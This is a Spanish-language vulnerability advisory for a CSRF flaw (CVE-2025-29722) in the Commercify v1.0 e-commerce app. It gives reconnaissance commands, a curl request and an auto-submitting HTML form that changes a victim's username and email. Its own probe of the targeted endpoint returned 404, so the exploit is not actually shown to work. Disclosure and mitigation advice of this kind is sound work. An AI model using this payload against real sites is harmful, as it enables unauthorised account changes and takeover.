🛡️ CVE-2025-29722 – Cross Site Request Forgery (CSRF) en Commercify v1.0

Descubierto por: David P.S Abraham (alias Davycipher)

ID de CVE

CVE-2025-29722 ha sido asignado a esta vulnerabilidad por MITRE Corporation.

Resumen

Se identificó una vulnerabilidad CSRF en Commercify v1.0, una plataforma de comercio electrónico de código abierto desarrollada por @yassmittal. La aplicación carece de mecanismos adecuados de protección CSRF en endpoints críticos como /update_settings, lo que permite a atacantes elaborar solicitudes maliciosas que modifican datos de usuario cuando se ejecutan desde otro dominio.

Producto Afectado

• Nombre del Producto: Commercify
• Versión: 1.0
• Repositorio: https://github.com/yassmittal/Commercify

Tipo de Vulnerabilidad

• CWE-352: Cross-Site Request Forgery (CSRF)

Guía de Explotación

Fase de Reconocimiento

El escaneo con nmap reveló que el servicio era accesible a través del puerto 5173, lo que indica un posible servidor de desarrollo.

nmap -p 5173 localhost

A continuación, escaneé la aplicación usando nikto, revelando:

• Falta de cabecera X-Frame-Options
• Política CORS permisiva (Access-Control-Allow-Origin: *)
• Falta de cabeceras de protección CSRF

Fuerza Bruta de Endpoints

Mientras exploraba la aplicación, sospeché un posible endpoint update_settings basado en las funciones del panel de usuario. Lo probé con:

curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"

Aunque se devolvió un 404 Not Found, este comportamiento puede depender del entorno. En implementaciones válidas, esto podría llevar a la manipulación completa de la cuenta.

Prueba de Concepto (PoC)

Ataque basado en HTML para explotar la falla CSRF:

<form action="http://localhost:5173/update_settings" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>
  document.forms[0].submit();
</script>

Impacto

• Cambios no autorizados en los datos de la cuenta de usuario
• Escalada de privilegios si la configuración incluye manipulación de roles o correo electrónico
• Escenarios de toma de control de cuentas

Causa Raíz

• Falta de tokens CSRF
• Ausencia del atributo SameSite en cookies
• CORS permisivo (*)
• Sin validación de referer ni origen

Mitigación y Recomendaciones

• Agregar tokens CSRF para todos los endpoints que cambian el estado
• Establecer SameSite=Strict o Lax en las cookies
• Definir políticas CORS estrictas
• Implementar validación de origen/referer

Descubridor

David P.S. Abraham
Alias: Davycipher

• GitHub
• LinkedIn
• Sitio web